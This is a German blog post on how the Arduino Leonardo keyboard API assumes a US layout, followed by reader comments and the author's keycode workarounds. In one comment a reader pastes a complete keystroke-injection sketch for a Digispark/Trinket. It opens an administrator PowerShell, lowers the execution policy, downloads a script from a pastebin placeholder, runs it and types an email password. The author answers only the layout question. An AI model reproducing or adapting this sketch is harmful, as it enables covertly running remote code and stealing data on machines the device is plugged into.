Arduino Leonardo und das Keyboard-API-Problem

Nachdem ich letztens die erste Revision meines Hardwareprojektes fertiggestellt habe, habe ich nun damit begonnen, die eigentliche Ein- und Ausgabe zu entwickeln. In meinem Fall soll das Arduino als eine Art Tastatur dienen. Mit dem Arduino Uno war das leider nicht möglich...

...glücklicherweise gibt es seit letztem Jahr das Arduino Leonardo, das eine eigene Keyboard-API mitbringt. Damit kann es normale Tastenanschläge an den Computer senden - wie eine richtige Tastatur. Das ganze hat jedoch einen Haken: Tastaturen sind komplizierter als man denkt.

Die Zeichen, die man normalerweise auf dem Computer sieht, werden als sogenante ASCII-Codes dargestellt. Tastaturen, wie man sie alltäglich verwendet, kennen jedoch kein ASCII. Sie verwenden sogenannte Keycodes, die erstmal in ASCII-Codes umkodiert werden müssen. Welcher Keycode nun genau welches Zeichen darstellt, das definieren die so genannten Universal Serial Bus Human Interface Device Usage Tables (kurz: "HUT") in Kapitel 10. Dort findet man die "Keyboard/Keypad Page" des USB-Standards. Die dort beschriebene Zuordnung gilt jedoch nur für amerikanische Tastaturen. Hierzu gibt es im Dokument sogar einen entsprechenden Hinweis:

A general note on Usages and languages: Due to the variation of keyboards from language to language, it is not feasible to specify exact key mappings for every language. Where this list is not specific for a key function in a language, the closest equivalent key position should be used, so that a keyboard may be modified for a different language by simply printing different keycaps. One example is the Y key on a North American keyboard. In Germany this is typically Z. Rather than changing the keyboard firmware to put the Z Usage into that place in the descriptor list, the vendor should use the Y Usage on both the North American and German keyboards. This continues to be the existing practice in the industry, in order to minimize the number of changes to the electronics to accommodate other languages.

Hier nun das Problem des Arduino Leonardo: Dem Arduino kann man nicht den Keycode mitgeben, das er an den PC senden soll. Dieser könnte anhand der Spracheinstellung des Betriebssystems herausfinden, welches Zeichen auf der Tastatur gedrückt worden ist. Stattdessen muss man dem Arduino ein ASCII-Zeichen übergeben und er wandelt es dann in den entsprechenden Keycode um. Dummerweise sind auf deutschen und englischen Tastaturen zum Beispiel die Buchstaben Y und Z vertauscht. Der Arduino selbst geht aber IMMER davon aus, dass man ein englisches System verwendet. Wenn man nun dem Arduino sagt, er soll ein Y an den PC schicken, wandelt er dies in den Keycode für das amerikanische Y um und schickt es an den PC. Wenn der nun auf Deutsch gestellt ist, denkt er, dass ein Z geschickt worden ist. Hier mal ein Beispiel dazu:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
void setup() {
  Keyboard.begin();
 
  pinMode(2, INPUT);
  digitalWrite(2, HIGH);
}

void loop() {
  while (digitalRead(2) == HIGH) {
    delay(500);
  }
  delay(1000);
 
  // prints "qwerty" on German OS
  Keyboard.print("qwertz");
}

Das ist nicht nur sehr schwer zu verstehen, sondern auch noch sehr umständlich. Denn es gibt keine Möglichkeit, selbst die Umwandlung in die Keycodes vorzunehmen. Dann könnte man das in Abhängigkeit der gewünschten Sprache sehr einfach implementieren. Stattdessen muss man gucken, welchen Text man ausgeben will und muss das in eine falsche ASCII-Repräsentation überführen. Aus diesem Grund habe ich hierzu auch ein Issue beim Arduino-Projekt eröffne. Da ich am Wochenende ein wenig Zeit hatte, habe ich mich zudem mal in den Arduino-Quelltext eingegraben und selbst eine mögliche Lösung implementiert. Mit der kann ich jetzt schon einmal weiterarbeiten, bis die offizielle Lösung zur Verfügung steht.
Sprachabhängige Grüße, Kenny

12 Kommentare » Schreibe einen Kommentar

  1. Hallo können sie mir bitte helfen ich benutze das Digispark und habe dieses Adafruit Trinket keyboard https://github.com/kamilsss655/hid-keyboard-inject/tree/master/TrinketKeyboard

    Wenn ich nun diesen Code auf das Digispark Lade und ihn Dann wieder an meinen Windows 8.1 rechner stecke Tippt Das Digispark andere zeichen , nur wenn ich meine Tastatur auf Enlisch (US) stell schreibt er richtig :

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    70
    71
    72
    73
    74
    75
    76
    77
    78
    79
    80
    81
    82
    83
    84
    85
    86
    87
    88
    89
    90
    91
    92
    #include "TrinketKeyboard.h"
    #define PIN_LED              1
    byte first_run=1;
    void setup() {
      // don't need to set anything up to use DigiKeyboard
      pinMode(PIN_LED, OUTPUT);

      TrinketKeyboard.begin();
      digitalWrite(PIN_LED, HIGH);
      while (TrinketKeyboard.isConnected() == 0) // wait until connection
        {
          TrinketKeyboard.poll();
          delay(10);
        }
       digitalWrite(PIN_LED, LOW);
    }


    void loop() {
      if (first_run==1) {
        delay(100);
        //to do: uncomment this to see if it turns of caps lock
        //makeSureCapsOff();
        TrinketKeyboard.typeChar(0);
        runAsAdmin("powershell");
        delayBlink(400);
        //allows us to exexute downloaded unsigned powershell script
        TrinketKeyboard.print("set-executionpolicy remotesigned");
        delayBlink(1000);
        TrinketKeyboard.pressKey(0,KEY_ENTER);
        delayBlink(700);
        TrinketKeyboard.println("Y");
        delayBlink(800);
        //downloads powershell script from pastebin. when download finishes turns the CapsLock on
        TrinketKeyboard.println("function Setup(){Invoke-WebRequest http://pastebin.com/raw.php?i=yourIdHere -OutFile $env:temp/code.ps1;(New-Object -ComObject WScript.Shell).SendKeys('{CAPSLOCK}');}");
        delayBlink(800);
        TrinketKeyboard.println("Setup");
        makeSureCapsOff();
        first_run=0;
      }
      //waits for the CapsLock to be turned on which indicates that our script has been downloaded successfully
      while(TrinketKeyboard.getLEDstate() & KB_LED_CAPS) {
        TrinketKeyboard.println("cd $env:temp");
        delayBlink(500);
        TrinketKeyboard.println("./code.ps1");
        delayBlink(1000);
        TrinketKeyboard.println("yourSendEmailPassword");
        delayBlink(800);
        TrinketKeyboard.pressKey(LEFT_ALT, KEY_SPACE);
        delayBlink(200);
        TrinketKeyboard.pressKey(0, KEY_M);
      // It's better to use DigiKeyboard.delay() over the regular Arduino delay()
      // if doing keyboard stuff because it keeps talking to the computer to make
      // sure the computer knows the keyboard is alive and connected
        digitalWrite(PIN_LED,HIGH);
        while(1);
      }
      delay(10);
      TrinketKeyboard.poll();
    }
    void runAsAdmin(char command[20])  {
      TrinketKeyboard.pressKey(RIGHT_CONTROL,KEY_ESC);
      delayBlink(600);
      TrinketKeyboard.print(command);
      delayBlink(600);
      TrinketKeyboard.pressKey(RIGHT_CONTROL | RIGHT_SHIFT,KEY_ENTER);
      delayBlink(800);
      TrinketKeyboard.pressKey(0, KEY_ARROW_LEFT);
      delayBlink(600);
      TrinketKeyboard.pressKey(0, KEY_ENTER);
    }

    void delayBlink(unsigned long duration) {    //duration value should be greater than 30, if it is less then 30ms it will only delay without blinking
      if (duration>=30){
        //to do: try using TrinketKeyboard.Delay() instead of delay()
        delay(duration-30); //delay than blink if duration > 30 ms
        digitalWrite(PIN_LED,HIGH);
        delay(30);
        digitalWrite(PIN_LED,LOW);
      }
      else {  //if duration is less than 30ms only delay
        delay(duration);
      }// 0: CapsLock=of
    }

    void makeSureCapsOff(){
      while(TrinketKeyboard.getLEDstate() & KB_LED_CAPS) {
      TrinketKeyboard.pressKey(0, KEY_CAPS_LOCK);
      delay(10);
      TrinketKeyboard.poll();
      }
    }

    Können sie mir bitte helfen und mir sagen wie ich das ändern kann ? Bin Totaler neuling .
    Oder Vieleicht könnten sie ja auch eine angepasste ccp und eine h datei für mein Adafruit Trinket keyboard

    Bitte Helfen sie mir ich bin am verzweifeln

    • Hallo Mario, ich habe deinen langen Quelltext erst einmal in einen Codeblock gesetzt, damit dein Kommentar lesbarer wird.

      Im Grunde liegt hier das gleiche Problem vor, wie beim Arduino Leonardo. Das Problem liegt genauer gesagt in der Datei TrinketKeyboard.cpp. Dort findet sich die Funktion ASCII_to_keycode(), die leider nur amerikanische ASCII-Keycode-Zuweisungen berücksichtigt. Keycodes (auch Scancodes genannt, tatsächlich aber sogenannte HID Usage IDs, entsprechend der Codepage 0x07[1]) sind dabei die Werte, die tatsächlich an das Betriebssystem übergeben werden. Diese sagen aus, welche Taste auf der Tastatur gedrückt werden. Erst das Betriebssystem wandelt diese Information dann (anhand des eingestellten Keyboard-Layouts) in den richtigen Buchstaben um.

      Beispielsweise findet sich in der Datei folgender Code, um die Kleinbuchstaben in Keycodes zu überführen:

      1
      *keycode = 4 + ascii - 'a'; // set letter

      Dieser Code führt beispielsweise für die Buchstaben "y" und "z" zu den Keycodes 28 und 29. Leider sind für das deutsche Keyboard-Layout die beiden Keycodes vertauscht. Sprich, die Funktion ASCII_to_keycode() müsste hier andere Keycodes zurückliefern, als sie tut.

      Du hast nun Glück: Die von dir verwendete Methode println() scheint von der virtuellen Methode write() der Klasse Trinket_Keyboard gesteuert zu werden. Diese sieht derzeit wie folgt aus:

      1
      2
      3
      4
      5
      size_t Trinket_Keyboard::write(uint8_t ascii)
      {
          typeChar(ascii);
          return 1;
      }

      Da die Methode virtuell ist, kannst du eine von der Klasse Trinket_Keyboard abgeleitete Klasse erstellen, die Methode write() überschreiben und in dieser dafür sorgen, dass das deutsche Keyboard-Layout verwendet wird. Wenn du dann in deinem Code deine abgeleitete Klasse benutzt, sollte alles wie gewünscht funktionieren. 🙂

      [1] siehe auch HID Usage Table: http://www.mikrocontroller.net/attachment/92649/Hut1_11.pdf

      • Ok vielen dank . Das wird noch ne menge Arbeit für mich werden ,bin wirklich neu dabei . Ich verstehe auch nur die helfte, muß den Text jetzt noch 10 mal lesen und mal sehen ob ich ihnen folgen kann und ob ich es hinbekomme. Es ist mein aller erster Versuch. Vielen vielen Dank für ihre super schnelle Anwort ich hab mich sehr gefreut.

      • Könten sie mir vieleicht sagen wie ich das genau mache :

        Da die Methode virtuell ist, kannst du eine von der Klasse Trinket_Keyboard abgeleitete Klasse erstellen, die Methode write() überschreiben und in dieser dafür sorgen, dass das deutsche Keyboard-Layout verwendet wird. Wenn du dann in deinem Code deine abgeleitete Klasse benutzt, sollte alles wie gewünscht funktionieren. 🙂

        Vieleicht könnten sie mir schritt für schritt erklären wie ich die abgeleitete Klasse erstelle und die Methode write überschreibe und wie ich in meinem code die abgeleitete klaase benutze?
        Auch per email geht wenn sie wollen .

  2. Wenn ich das richtig sehe ist das was du da gemacht hast teil des Aruino-Core.
    Meine Frage jetzt Wie greife ich darauf zu / verwende es?
    LG

    Fabian

    • Hi, ich kann nur für MacOS X sprechen: Um das ganze anzuwenden, muss man folgende Dateien entsprechend des Patches anpassen:

      * /Applications/Arduino.app/Contents/Resources/Java/hardware/arduino/cores/arduino/HID.cpp
      * /Applications/Arduino.app/Contents/Resources/Java/hardware/arduino/cores/arduino/USBAPI.h

      Wie das ganze unter Windows aussieht, weiß ich persönlich leider nicht. Dort werden sich diese Dateien jedoch sicherlich auch irgendwo finden lassen. 😉

    • Das müsste ich selbst erst ausprobieren, welches Zeichen man dann tatsächlich schicken müsste.

      Alternativ kann man jedenfalls den Patch verwenden. Ich hoffe, dass dieser bald im Arduino-Core aufgenommen wird.

  3. Hallo Weizenspreu!

    Ich begrüße deinen Vorstoß, eine sprachliche Anpassung der HID Library vorzunehmen. Ich habe das Problem, dass ich kein Backslash Zeichen (\) schicken kann. Geht das mit deiner Modifikation bzw. hast Du einen Tipp, wie ich das anstellen könnte? Ich habe bereits folgendes probiert...

    for (int i=0;i<=127;i++) {
    Keyboard.write(i);
    Keyboard.println();
    }

    Doch leider war in dieser Liste kein "\" enthalten. 🙁

    Vielleicht hast Du einen Tip.

    LG, Jürgen

    • Hallo Jürgen!

      Na da hast du dir ja was spannendes ausgesucht. Dein Problem ist eindeutig, dass das Arduino davon ausgeht, dass angeschlossene PCs ausschließlich amerikanische Windows-Tastaturen (US QWERTY) kennen. In deinem Fall hingegen wirst du wohl eine deutschen Windows-Tastatur emulieren wollen. Um trotzdem ohne Modifikation des Arduino-Cores auszukommen, musst du ein bisschen tricksen. Du musst das Arduino dazu bringen, die richtige Taste zu drücken, obwohl es denkt, damit ein anderes Zeichen zu produzieren.

      Um das zu tun, kannst du wie folgt vorgehen: Du guckst dir das deutsche Keyboard-Layout an und guckst dort nach, welche Tastenkombination das Backslash ("\") ergibt. Das Ergebnis ist 2D015C. Das heißt, um das Zeichen 5C (ASCII-Code für "\") zu erhalten, musst du den Keycode 2D und AltGr (= 01) drücken. Nun gehst du in die Datei "/hardware/arduino/cores/arduino/HID.cpp" und suchst dort im Array "const uint8_t _asciimap[128]" nach der Zeile, in der du die "2D" findest. Dort steht "0x2d, // -". Damit du also den Keycode 2D erhältst, musst du dem Arduino sagen, dass es das Zeichen "-" ausgeben soll.

      Für die AltGr-Taste ist in der Datei "/hardware/arduino/cores/arduino/USBAPI.h" eine Konstante definiert: "#define KEY_RIGHT_ALT 0x86"

      Jetzt musst du nur noch alle Teile zusammensetzen:

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17
      18
      bool done;
      void setup() {
        Keyboard.begin();
        done = false;
      }

      void loop() {
        if (!done) {
          delay(1000);
          Keyboard.press(KEY_RIGHT_ALT);
          Keyboard.press("-");
          delay(10); // just wait a moment
          Keyboard.release("-");
          Keyboard.release(KEY_RIGHT_ALT);
          done = true; // only do this once
        }
        delay(60000);
      }

      Solltest du hingegen zum Beispiel eine deutsche MAC-Tastatur emulieren wollen (bei der das Backslash über Alt+Shift+7 erreichbar ist), würdest du eben genauso vorgehen und dir Stück für Stück die tatsächliche Tastenkombination zusammenbasteln:

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17
      18
      19
      20
      bool done;
      void setup() {
        Keyboard.begin();
        done = false;
      }

      void loop() {
        if (!done) {
          delay(1000);
          Keyboard.press(KEY_LEFT_ALT);
          Keyboard.press(KEY_LEFT_SHIFT);
          Keyboard.press("7");
          delay(10); // just wait a moment
          Keyboard.release("7");
          Keyboard.release(KEY_LEFT_SHIFT);
          Keyboard.release(KEY_LEFT_ALT);
          done = true; // only do this once
        }
        delay(60000);
      }

      Und noch als letzte Anmerkung: Ja, mit meiner Modifikation ginge das auch. Bei dieser würde man sich das Nachgucken in dem Array sparen. Stattdessen würde man direkt den Keycode verwenden können. Bei mir sähe das ganze dann so aus:

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17
      18
      bool done;
      void setup() {
        Keyboard.begin();
        done = false;
      }

      void loop() {
        if (!done) {
          delay(1000);
          Keyboard.pressKeycode(KEYCODE_RIGHT_ALT, false);
          Keyboard.pressKeycode(0x2D, true);
          delay(10); // just wait a moment
          Keyboard.releaseKeycode(KEYCODE_RIGHT_ALT, false);
          Keyboard.releaseKeycode(0x2D, true);
          done = true; // only do this once
        }
        delay(60000);
      }

      Ich hoffe, die Erklärung war halbwegs verständlich und hilfreich. 🙂

Schreibe einen Kommentar

Um Ihnen beim weiteren Kommentieren auf dieser Webseite die erneute Eingabe Ihrer Daten zu ersparen, wird beim Absenden Ihres Kommentars ein Cookie an Ihren Browser gesendet und von diesem gespeichert. Mit dem Absenden eines Kommentars auf dieser Webseite stimmen Sie der Speicherung und Übertragung dieses Cookies explizit zu.

Pflichtfelder sind mit * markiert.